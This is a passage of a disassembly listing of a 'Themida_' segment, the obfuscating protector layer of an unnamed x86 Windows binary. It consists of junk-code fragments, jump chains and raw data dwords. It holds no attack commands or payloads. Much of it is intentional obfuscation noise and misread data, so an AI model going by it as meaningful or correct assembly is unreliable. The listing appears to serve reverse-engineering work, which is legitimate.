		dd 48B2434h, 4C48324h, 8904EC83h, 90E9240Ch, 0BAFFFF4Ah
		dd 4, 815AD389h, 0D76670C5h, 81DD0104h,	0D76670EDh, 0BA525B04h
		dd 4, 335AD529h, 2C31242Ch, 242C3324h, 241C895Ch, 282668h
		dd 0B2D5E900h, 0BF57FFFFh, 4, 218B68h, 0FF1FE900h, 0F181FFFEh
		dd 83C61316h, 34E9C889h, 33FFFF12h, 248B242Ch, 0C73BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5714B2:				; CODE XREF: Themida_:0056AA20j
		xor	[esp], eax
		push	eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		xchg	esi, edi
		not	esi
		jmp	loc_5657EF
; ---------------------------------------------------------------------------
		dd 28F7814Fh, 0E94EDD57h, 0FFFF6588h
; ---------------------------------------------------------------------------


loc_5714D4:				; CODE XREF: Themida_:00566292j
		push	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_5703CA
; ---------------------------------------------------------------------------


loc_5714DE:				; CODE XREF: Themida_:00569011j
		pop	ebp
		xor	edi, ecx
		push	dword ptr [esp]
		jmp	loc_56A084
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0ABh
		dd 0E99C2404h, 0FFFECBABh, 4D39E381h, 0EB81381Fh, 749743A9h
		dd 69B3F381h, 0D829FB7Ah, 83241C8Bh, 680504C4h,	253F3D77h
		dd 604D63D1h, 0FFB98EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57151D:				; CODE XREF: Themida_:005697D5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	0
		jmp	loc_5693B2
; ---------------------------------------------------------------------------
		dd 0C8BE800h, 0E6895624h, 0FF3D20E9h, 0C1815DFFh, 4, 0FF1AADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57154D:				; CODE XREF: Themida_:00561B98j
		sub	ecx, edi
		pop	edi
		pop	ebp
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_563D53
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 623A6FE7h, 0E7C14F1Ch, 0B4C78107h, 0D1449F01h, 0EF781EFh
		dd 0E953A571h, 0FFFF846Eh
; ---------------------------------------------------------------------------


loc_57157C:				; CODE XREF: Themida_:00567D45j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1F673736h
		add	ecx, 29E41F4Ch
		add	ecx, ebp
		jmp	loc_5681B5
; ---------------------------------------------------------------------------
		db 0BAh, 0FEh, 1Ch
		dd 0FA87205Fh, 0FEEE64E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5715A9:				; CODE XREF: Themida_:00572B70j
		push	ecx
		mov	ecx, 1FBA4558h
		neg	ecx
		add	ecx, 51359860h
		jmp	loc_57224C
; ---------------------------------------------------------------------------
		dd 5007EEC1h, 6E413FB8h, 0D185E979h, 665EFFFEh,	8B66D031h
		dd 0C4812414h, 2, 0E9506653h, 0FFFFEB07h, 8105EDC1h, 0B6CD1CDh
		dd 0D1ED815Ch, 8905644Fh, 7D7AE9E8h, 815AFFFFh,	4C3h, 241C8700h
		dd 0FF5F14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571605:				; CODE XREF: Themida_:0056E957j
		add	dword ptr [esp], 5EF50F07h
		pop	ecx
		sub	ecx, 5EF50F07h
		pop	esi
		xor	ecx, 328F3D35h
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 78100096h
		push	ecx
		mov	ecx, 291E593Bh
		add	ecx, 4C967C96h
		add	ecx, 7D5F0657h
		inc	ecx
		add	ecx, 6A868249h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5636B3
; ---------------------------------------------------------------------------


loc_571652:				; CODE XREF: Themida_:005709A7j
		add	esp, 4
		jmp	loc_562224
; ---------------------------------------------------------------------------
		dw 489h
		dd 0EDB75324h, 4EC81h, 14890000h, 8852B224h, 0F8285AD0h
		dd 81241C8Bh, 4C4h, 889B0400h, 4C66E9C7h, 0F9BAFFFFh, 4A533757h
		dd 0FEF7AFE9h, 4C481FFh, 53000000h, 0C2815B5Eh,	57CF32DCh
		dd 6855F201h, 5727h, 0BE243489h, 328715C6h, 2ED5C681h
		dd 0F5893273h, 0CD81455Eh, 62A17195h, 0FF7498E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5716C1:				; CODE XREF: Themida_:0056A227j
		and	al, ch
		mov	cx, [esp]
		jmp	loc_5696FB
; ---------------------------------------------------------------------------
		dd 4C581h, 0CF680000h, 89000003h, 5FBA2414h, 0E9676568h
		dd 0FFFFCCC9h, 3F1FC581h, 0E95F04A4h, 0FFFFBBF1h, 4C4815Eh
		dd 68000000h, 4037h, 0B9240C89h, 0
		dd 6BA9C181h, 0C1015FC1h, 6BA9E981h, 57525FC1h,	21BE6851h
		dd 81591507h, 73042444h, 0E97A1742h, 0FFFECCB8h, 54241C89h
		dd 0FF62B1E9h, 0D8BA52FFh, 0BF3BAA63h, 3BAA63D7h, 0D7E9D729h
		dd 5F000013h, 340B68h, 241C8900h, 42474FFh, 8B2434FFh
		dd 0C481241Ch, 4, 0FFB149E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571761:				; CODE XREF: Themida_:0056A1EFj
		pop	esi
		sub	edx, 75A2E9D4h
		and	eax, edx
		jmp	loc_56DEEF
; ---------------------------------------------------------------------------
		db 56h
		dd 56E08950h, 4BEh, 5EF00100h, 0FF6B8AE9h, 1C8966FFh, 0DD5BE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57178A:				; CODE XREF: Themida_:0056D899j
		pop	ecx
		push	ecx
		push	31E8h
		jmp	loc_560D75
; ---------------------------------------------------------------------------
		dw 159h
		dd 2434FFF2h, 4C4815Eh,	0C1000000h, 0F28108EAh,	41FE2C40h
		dd 17A168h, 6D38E900h, 315CFFFFh, 24348BF2h, 0FF3117E9h
		dd 5DEA01FFh, 2414875Bh, 8124248Bh, 4ECh, 242C8900h, 1D0968h
		dd 69AAE900h, 0C681FFFFh, 0BDF785B6h, 34FFF701h, 0E9525E24h
		dd 0FFFF2887h
dword_5717F0	dd 24048B66h, 408868h, 241C8900h, 0EC81E389h, 4, 0BF243C89h
					; DATA XREF: Themida_:0055DE5Co
		dd 4, 0FF114DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571811:				; CODE XREF: Themida_:0056E55Cj
		add	esp, 4
		jmp	loc_56FFB6
; ---------------------------------------------------------------------------
		dd 875FFA01h, 248B2414h, 2424D324h, 0C871E99Ch,	0E0C1FFFEh
		dd 55D0F706h, 0FF4184BDh, 45D5F769h, 4EC8345h, 0BF243C89h
		dd 49366DC2h, 295FFD29h, 7552E9E8h, 0CF05FFFFh,	2942CC88h
		dd 0C78158C7h, 54E31367h, 15C0E781h, 0F7810D81h, 2DCE3CF9h
		dd 3DB7EF81h, 0FD012DCEh, 242C335Fh, 33242C31h,	665C242Ch
		dd 2404AB0Fh, 0C815E99Ch, 0E954FFFEh, 240h, 0F602C483h
		dd 4EC81D9h, 89000000h,	42E92404h, 5FFFF17h, 15BA34CBh
		dd 168468h, 24148900h, 9C1DC8BAh, 2EBF5762h, 0E95D0E5Ah
		dd 0FFFEE662h, 59EE885Bh, 8324048Bh, 0BAE904C4h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5718CF:				; CODE XREF: Themida_:005699ACj
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_568AD0
		push	ebx
		jmp	loc_566E96
; ---------------------------------------------------------------------------


loc_5718FF:				; CODE XREF: Themida_:0055FC8Fj
		add	eax, 35C8A2A8h
		or	esi, eax
		pop	eax
		neg	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		shl	esi, 6
		xor	esi, 8A242356h
		xor	edi, esi
		push	dword ptr [esp]
		jmp	loc_56684C
; ---------------------------------------------------------------------------
		db 68h,	0E6h, 0Fh
		dd 34890000h, 3B69BE24h, 0DEF74F86h, 0FEDFD5E9h, 0B1F581FFh
		dd 4D8DE648h, 0FF8B0AE9h, 0C48359FFh, 0E9C33004h, 0FFFF420Bh
		dd 9EE9F201h, 5BFFFF8Fh, 1222E981h, 0A7E90395h,	81FFFF6Ch
		dd 5E5C96EAh, 0E9D2F719h, 0FFFEEAD3h, 0ED81C501h, 34E96787h
		dd 8124048Bh, 4C4h, 0DA01E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571982:				; CODE XREF: Themida_:00567917j
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		push	2F26h
		jmp	loc_565060
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 634168h, 8E1EE900h, 0EC83FFFFh, 243C8904h, 962AAFBFh
		dd 6E7C169h, 22E9DFF7h,	81FFFFE3h, 0EECE50C1h, 59CD0953h
		dd 0FFAB03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5719C5:				; CODE XREF: Themida_:00567CC4j
		pop	edx
		add	ebx, esi
		jmp	loc_5619C9
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0FFh
		dd 7BE92434h, 89FFFF0Eh, 9C502414h, 0FEFC9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5719E1:				; CODE XREF: Themida_:00563F22j
		xchg	ebp, [esp]
		pop	esp
		push	4389h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56C087
; ---------------------------------------------------------------------------


loc_5719FC:				; CODE XREF: Themida_:00569F21j
		sub	esp, 4
		jmp	loc_55E27F
; ---------------------------------------------------------------------------


loc_571A07:				; CODE XREF: Themida_:00562425j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	0C6h
		mov	[esp], edx
		mov	edx, 40EF6430h
		push	esi
		jmp	loc_56C04F
; ---------------------------------------------------------------------------
		dw 0C15Ah
		dd 0EFC108E7h, 0BF575107h, 3C791237h, 3AF3C781h, 0F7815DC3h
		dd 880C2338h, 0FED4CBE9h, 0BE685AFFh, 89000007h, 74FF240Ch
		dd 8F590424h, 248B2404h, 148B6624h, 657AE924h, 46B9FFFFh
		dd 0E9A24BFBh, 0FFFEDB4Fh, 0E9242C31h, 0FFFF1ACCh
; ---------------------------------------------------------------------------


loc_571A78:				; CODE XREF: Themida_:00565FA9j
		sub	ebp, 237F26A5h
		jmp	loc_563CB4
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8CE9C829h, 66FFFECDh, 0E924148Bh, 0FFFF7751h
; ---------------------------------------------------------------------------


loc_571A94:				; CODE XREF: Themida_:0056EB19j
		mov	esp, [esp]
		mov	[esp], ecx
		push	esi
		mov	esi, 31C4685Ah
		or	esi, 4DC46306h
		add	esi, 43155F64h
		sub	esi, 4BFD045Ch
		add	esi, 9E99AEBEh
		jmp	loc_570075
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 1000000h, 240C8BCBh,	0E904C483h, 0FFFF55A5h,	4EC835Dh
		dd 55243489h, 133CCEBDh, 5DEE8967h, 1D86EE81h, 0E6812110h
		dd 4F0C4984h, 8105EEC1h, 2F1FBCC6h, 0EE814646h,	485F2001h
		dd 0E95EF501h, 0FFFF9E28h
; ---------------------------------------------------------------------------


loc_571B04:				; CODE XREF: Themida_:005608A5j
		sub	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		add	esi, 0FFFFFFFFh
		not	esi
		inc	esi
		shr	esi, 4
		push	ebx
		jmp	loc_56385C
; ---------------------------------------------------------------------------


loc_571B19:				; CODE XREF: Themida_:005638D8j
		mov	edi, 2F971663h
		add	[esp+0Ch], edi
		pop	edi
		pop	ebp
		jmp	loc_5669AA
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0B60F665Ch, 7AE368C8h, 2C890000h, 0A9E95424h, 0BBFFFF78h
		dd 51FC31B3h, 0D108E3C1h, 0F9A6E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571B4E:				; CODE XREF: Themida_:0056C013j
		xchg	edi, [esp]
		jmp	loc_56B4CC
; ---------------------------------------------------------------------------


loc_571B56:				; CODE XREF: Themida_:005624BDj
		mov	ebp, 69586AD2h
		xor	ebp, ecx
		pop	ecx
		not	ebp
		jmp	loc_5642A4
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 52h
		dd 0E7B85055h, 0C1797F12h, 0FB3503E0h, 89D5FAC8h, 2434FFC5h
		dd 582434FFh, 8104C483h, 4C4h, 5DEA8900h, 5FBFEA81h, 6CE91E02h
		dd 2DFFFF6Bh, 57FB4557h, 2D47192Dh, 4EC834Eh, 0FFA666E9h
		dd 2434FFFFh, 0A26E958h, 4C010000h, 34FF0424h, 7BE95924h
		dd 8BFFFF20h, 0C4812414h, 4, 8704EE83h,	895C2434h, 7F682404h
		dd 0E93BFE1Dh, 0FFFF204Bh
; ---------------------------------------------------------------------------


loc_571BDC:				; CODE XREF: Themida_:00565818j
		pop	esi
		jmp	loc_561897
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4C38124h, 56000000h,	0FF205CE9h, 56F181FFh, 81173B2Fh
		dd 2EC745C1h, 0E9CA0130h, 0FFFEC5C9h, 0E0C1485Bh, 2DE8D103h
		dd 2E8E091Ah, 34FFC129h, 0C4835824h, 84BE5604h,	14EC246h
		dd 0E9C15EF1h, 8E9C107h, 219FBA52h, 0E9573171h,	0FFFFB1CEh
		dd 0D6F7D6F7h, 69F1F681h, 0F78967BCh, 247C295Eh, 243C8B04h
		dd 4C481h, 0E95E0000h, 0FFFF98F1h, 0FEF3B450h, 0EDC480C4h
		dd 0C28029B2h, 80E200EBh, 58EBEAh, 2434FFEAh, 0E2895259h
		dd 3A0B68h, 242C8900h, 4BDh, 0E9EA0100h, 0FFFEF6AFh, 0C100EF34h
		dd 2CD90458h, 4C800C4h,	2BA0E9C4h, 0C381FFFFh, 4, 8704EB83h
		dd 248B241Ch, 241C8924h, 20068h, 2434FF00h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56628C
; ---------------------------------------------------------------------------
dword_571CD0	dd 0E932FF64h, 0FFFEF564h, 4EC81h, 1C890000h, 75E2BB24h
					; DATA XREF: Themida_:0055DEACo
		dd 0F0E96468h, 81FFFFF0h, 29169DEEh, 6461E92Dh,	0FE52FFFFh
		dd 5A01244Ch, 9E9D6F6h,	2CFFFEF6h, 4D8000Dh, 8B622C0Dh
		dd 0C481241Ch, 4, 50531304h, 0DD2E951h,	0C980FFFFh, 0B652505Dh
		dd 0CBC68036h, 805AF088h, 0C10062C1h, 0E962E980h, 0FFFFDFACh
		dd 0F6D18851h, 0F4A0E9D1h, 0E708FFFFh, 0F6F78058h, 8904EC83h
		dd 3DB22414h, 0FE47F280h, 0A1F280C2h, 0EA80CAFEh, 5AD72024h
		dd 0C780CFFEh, 5BF80008h, 0FF59DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571D6D:				; CODE XREF: Themida_:0056C477j
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		and	eax, edx
		mov	edx, [esp]
		push	614Ah
		mov	[esp], eax
		push	3167h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_560C9E
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 55525C24h, 60A1BE56h, 0C6810AC7h,	0F5389F5Fh
		dd 895EF589h, 0C2015DEAh, 148B2A88h, 4C48124h, 0FF000000h
		dd 0E9592434h, 0FFFFA0A1h, 5CAAE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571DC6:				; CODE XREF: Themida_:0056E773j
		pop	ebx
		add	esp, 4
		jmp	loc_56DC7A
; ---------------------------------------------------------------------------
		db 83h
		dd 0E5E904E8h, 8F000006h, 248B2404h, 4316624h, 0B8E99C24h
		dd 0FFFFFEC2h, 0BDE92434h, 5BFFFF49h, 77EABB53h, 0DE91480h
		db 0D6h, 2 dup(0FFh)
byte_571DFB	db 66h			; DATA XREF: Themida_:0055DFD4o
		dd 0E924248Bh, 0FFFEC29Bh
; ---------------------------------------------------------------------------


loc_571E04:				; CODE XREF: Themida_:00570723j
		push	ecx
		push	ebx
		mov	ebx, 5D842809h
		shr	ebx, 7
		xor	ebx, 50322B66h
		mov	ecx, ebx
		jmp	loc_55FBEA
; ---------------------------------------------------------------------------
byte_571E1B	db 0FFh			; DATA XREF: Themida_:0055DFBCo
		dd 48B2434h, 3F946824h,	1C890000h, 81E38924h, 4C3h, 4C38300h
		dd 5C241C87h, 0FF9621E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571E3D:				; CODE XREF: Themida_:005703BBj
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	6C22h
		mov	[esp], edi
		jmp	loc_567E76
; ---------------------------------------------------------------------------
		db 88h
		dd 0D3E953FAh, 87FFFF1Eh, 3C3DE9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571E5E:				; CODE XREF: Themida_:00570A2Aj
		pop	ebp
		mov	edi, [esp]
		jmp	loc_55F902
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0E9520494h, 0FFFF41BFh
; ---------------------------------------------------------------------------


loc_571E70:				; CODE XREF: Themida_:0056D973j
		not	esi
		add	esi, 1
		sub	esi, 0EAEFF4AEh
		push	esi
		pop	eax
		pop	esi
		sub	dword ptr [esp+4], 14AA2F0Eh
		jmp	loc_563396
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A042474h, 5C24048Fh, 24148966h, 0E99C5066h,	0FFFEC1FFh
; ---------------------------------------------------------------------------


loc_571EA0:				; CODE XREF: Themida_:005642B0j
		add	ebp, esi
		add	ebp, 3D71636Dh
		pop	esi
		push	ebx
		mov	ebx, 631B5C2Fh
		add	ebx, 0FFD60D38h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56B319
; ---------------------------------------------------------------------------


loc_571EC5:				; CODE XREF: Themida_:00563BB5j
		xor	ebp, 248E716Dh
		add	edx, ebp
		pop	ebp
		sub	edx, ecx
		sub	edx, 3E465FAFh
		pop	ecx
		sub	edx, 0A643C0CCh
		shr	edx, 3
		sub	edx, 710C4750h
		inc	edx
		xor	edx, 8BC26A65h
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_56E49A
; ---------------------------------------------------------------------------


loc_571EF9:				; CODE XREF: Themida_:0055FB6Dj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ecx, 536B0613h
		jmp	loc_5655FD
; ---------------------------------------------------------------------------
aIZysqiIYh8	db 'ˆÐZYSQˆÁˆÏYh>8',0
		dw 8900h
		dd 0FE882414h, 0E9F38853h, 36Fh, 242C335Fh, 33242C31h
		dd 5C242Ch, 0E99C2404h,	0FFFEC15Fh, 5102E95Eh, 74FFFFFFh
		dd 0BAE90424h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571F4F:				; CODE XREF: Themida_:0056E15Ej
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55EA56
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FEC5C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571F6D:				; CODE XREF: Themida_:00569E6Bj
		pop	ebp
		jmp	loc_564C9F
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Fh, 0FFFF7D0Eh, 42474FFh, 0E9240C8Bh, 0FFFFCB5Eh
		dd 5003EBC0h, 0FFF0AEE9h, 241487FFh, 4BD555Ch, 1000000h
		dd 0D796E9EAh, 0E95CFFFFh, 0FFFEC0F7h, 4C2815Ah, 83000000h
		dd 148704EAh, 24248B24h, 81240489h, 4ECh, 7E68E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571FC6:				; CODE XREF: Themida_:0056970Aj
		add	edi, 4
		jmp	loc_56F5CE
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 80E95C24h
		db 8Eh,	2 dup(0FFh)
byte_571FD7	db 66h			; DATA XREF: Themida_:0055DF84o
		dd 0E924048Bh, 0FFFFBB40h, 0BC1F68BFh, 9D2BE917h, 0BF57FFFFh
		dd 6FCB3E2Fh, 15FFD89h,	0BD555DE9h, 15015B32h, 9C6B850h
		dd 2E2D3971h, 4066F446h, 736AA62Dh, 58C509A8h, 2E38E581h
		dd 0DD87638Bh, 0DD87D3F7h, 5297E952h, 0FA87FFFFh, 7313EA81h
		dd 0D589A130h, 5EDC15Ah, 0ABE95545h, 83FFFF8Bh,	8B042404h
		dd 0ACE9243Ch, 1FFFEFFh, 0A069E9F5h, 0CD01FFFFh, 5DEA0159h
		dd 0FF3E21E9h, 224268FFh, 2BE90000h, 89FFFF27h,	0E6892434h
		dd 4C681h, 0C6830000h, 7CCCE904h, 0E95DFFFFh, 0FFFF38FAh
		dd 0C529E950h, 8952FFFFh, 4C281E2h, 83000000h, 148704EAh
		dd 14E95C24h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572093:				; CODE XREF: Themida_:00567245j
		sub	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_569B52
; ---------------------------------------------------------------------------


loc_57209E:				; CODE XREF: Themida_:00569975j
		push	eax
		mov	ah, 0A3h
		sub	ah, 0FDh
		or	ah, 6
		push	ecx
		mov	cl, 0C7h
		and	cl, 1Bh
		xor	cl, 0E9h
		add	ah, cl
		jmp	loc_571142
; ---------------------------------------------------------------------------
		db 55h
		dd 0CD1707BDh, 0DDF74D36h, 1954E956h, 0D601FFFFh, 0FFC62FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5720CD:				; CODE XREF: Themida_:0055F73Bj
		mov	[esp], edx
		mov	edx, 4
		sub	ecx, 58DD58CCh
		add	ecx, edx
		add	ecx, 58DD58CCh
		pop	edx
		add	ecx, 4
		jmp	loc_55ECE8
; ---------------------------------------------------------------------------
		dd 8E6BE56h, 0E6811CEAh, 42FB6819h, 0FF0666E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5720FD:				; CODE XREF: Themida_:0055F275j
		add	ebx, 4EDC7813h
		pop	edx
		push	7131h
		jmp	loc_570647
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 14870000h, 76E95C24h, 89FFFF24h, 4C181E1h
		dd 83000000h, 0C8704E9h, 14895C24h, 0E91CB224h,	0FFFFEC06h
; ---------------------------------------------------------------------------


loc_57213C:				; CODE XREF: Themida_:00565EDEj
		pop	eax
		add	dword ptr [esp+8], 1B487FCEh
		jmp	loc_56E056
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 0EC835200h, 240C8904h,	4DFABA52h, 0C8B970DAh
		dd 311D9E74h, 0F9BA5AD1h, 810A5834h, 8E0485F2h,	0BAC28125h
		dd 293D6E08h, 2434FFCAh, 4C48159h, 1000000h, 24148BD5h
		dd 69AB68h, 242C8900h, 0C5815D54h, 4, 3304C583h, 2C31242Ch
		dd 0F301E924h, 0FA89FFFFh, 0E9243C8Bh, 0FFFFD026h
; ---------------------------------------------------------------------------


loc_5721B0:				; CODE XREF: Themida_:0056C5FAj
		add	ecx, edi
		jmp	loc_563BA1
; ---------------------------------------------------------------------------


loc_5721B7:				; CODE XREF: Themida_:0056031Ej
		not	ebx
		and	ebx, 66CB2D12h
		dec	ebx
		and	ebx, 718056EAh
		add	ebx, 0DF7FFC04h
		add	ebp, ebx
		pop	ebx
		jmp	loc_57058C
; ---------------------------------------------------------------------------
		dd 0FB8CE1BFh, 0FFFB29E8h, 835F2434h, 0DA0104C4h, 83241C8Bh
		dd 0D3E904C4h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5721EF:				; CODE XREF: Themida_:0055F3B8j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_562B0B
; ---------------------------------------------------------------------------


loc_572207:				; CODE XREF: Themida_:005727E0j
		push	esp
		pop	ecx
		jmp	loc_55E759
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 81243C8Bh, 4C4h, 6AFB6800h, 2C890000h
		dd 46824h, 535D0000h, 19280CBBh, 6EE38128h, 8168E120h
		dd 1F1AFECBh, 0F2E38165h, 0E9700303h, 0FFFFAB01h
; ---------------------------------------------------------------------------


loc_57224C:				; CODE XREF: Themida_:005715B7j
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_56A7FA
; ---------------------------------------------------------------------------
		dw 44E9h
		db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57225B:				; CODE XREF: Themida_:0056DF29j
		add	dword ptr [esp+8], 5B8A402Ah
		add	[esp+8], edx
		push	ebp
		mov	ebp, 5B8A402Ah
		sub	[esp+0Ch], ebp
		pop	ebp
		add	dword ptr [esp+8], 575A5B70h
		jmp	loc_570F99
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5004E8h, 58042474h, 5C24048Fh, 0BE243489h, 4, 51E9F301h
		dd 88FFFF79h, 8B5A5BD9h, 0C481241Ch, 4,	870C8858h, 0FF2434FFh
		dd 0A3E92434h, 55FFFF24h, 0EF2ABFBDh, 0DDF7456Ch, 0D544F581h
		dd 7DE99310h, 89FFFEC6h, 4C581E5h, 57000000h, 4BFh, 0DBDBE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5722DE:				; CODE XREF: Themida_:00566307j
		sub	[esp+8], ebp
		jmp	loc_55F942
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 0E904C283h, 0FFFFCAFFh, 34FF9104h, 24148B24h
		dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 0FFFF232Fh
; ---------------------------------------------------------------------------


loc_572314:				; CODE XREF: Themida_:0056D7B0j
		mov	[esp], edx
		mov	edx, 1FC0400h
		jmp	loc_55F26D
; ---------------------------------------------------------------------------


loc_572321:				; CODE XREF: Themida_:0056D370j
		push	ecx
		mov	ecx, 4
		sub	edi, 82D4183h
		jmp	loc_56FF68
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 2434FF00h, 8124148Bh, 4C4h, 4C48100h, 81000000h
		dd 4C2h, 4EA8300h, 8B241487h, 3C892424h, 4D4E6824h, 24890000h
		dd 0BB535024h, 1AA81272h, 35DAC381h, 81431819h,	0C14849EBh
		dd 5BD88932h, 4244401h,	582434FFh, 2B6168h, 242C8900h
		dd 0C581E589h, 4, 8704C583h, 248B242Ch,	0C7815F24h, 4
		dd 0FF9BD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5723A9:				; CODE XREF: Themida_:0055F083j
		add	esp, 4
		dec	ecx
		push	47EBh
		mov	[esp], eax
		mov	eax, 272C717Eh
		push	eax
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	eax
		dec	eax
		add	eax, 1EEE2486h
		push	edi
		jmp	loc_56A848
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 780C17CAh, 0EABFE951h, 1C89FFFEh, 0E3BFE924h
		dd 74FFFFFFh, 148B0424h, 4C48124h, 8F000000h, 248B2404h
		dd 0FFABE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5723FE:				; CODE XREF: Themida_:0056AED1j
		mov	esi, 6A50034Eh
		jmp	loc_564C1B
; ---------------------------------------------------------------------------
		dd 0FF24248Bh, 34FF2434h, 2434FF24h, 8324048Bh,	545704C4h
		dd 4BE565Fh, 1000000h, 62A8E9F7h, 48FFFFFh, 655E924h, 5B66FFFFh
		dd 0FF6530E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572439:				; CODE XREF: Themida_:0056409Aj
		mov	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56C497
; ---------------------------------------------------------------------------


loc_57244A:				; CODE XREF: Themida_:00566892j
		mov	eax, 56D35B5Ch
		add	eax, 1
		shl	eax, 6
		jmp	loc_56CE73
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 2E9C15Ah, 2CDCBE56h,	0F109465Eh, 0D2BD555Eh,	2966EE43h
		dd 0E9815DE9h, 394EA8AEh, 0E959CD01h, 0FFFF58D9h
; ---------------------------------------------------------------------------


loc_572480:				; CODE XREF: Themida_:0056C1F6j
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_56E31C
; ---------------------------------------------------------------------------
		dd 284CED80h, 12EFE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572496:				; CODE XREF: Themida_:00562CBDj
		mov	[esp], eax
		push	edx
		mov	edx, 0BA6014Eh
		sub	edx, 6F474D99h
		push	edi
		mov	edi, 10206C3Bh
		sub	edi, 0D4F1244h
		and	edi, 25262514h
		jmp	loc_564DF7
; ---------------------------------------------------------------------------
		dd 0E6568h, 24048900h, 42474FFh, 24048F58h, 2434895Ch
		dd 0C480BEBEh, 0F289525Dh, 0FF64F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


